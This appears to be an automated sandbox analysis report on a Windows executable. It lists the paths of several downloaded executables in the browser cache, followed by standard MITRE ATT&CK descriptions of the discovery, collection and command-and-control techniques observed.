C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\random[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\random[2].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\random[3].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\wintoolsone64[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\random[1].exe

Windows Analysis Report
file.exe

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre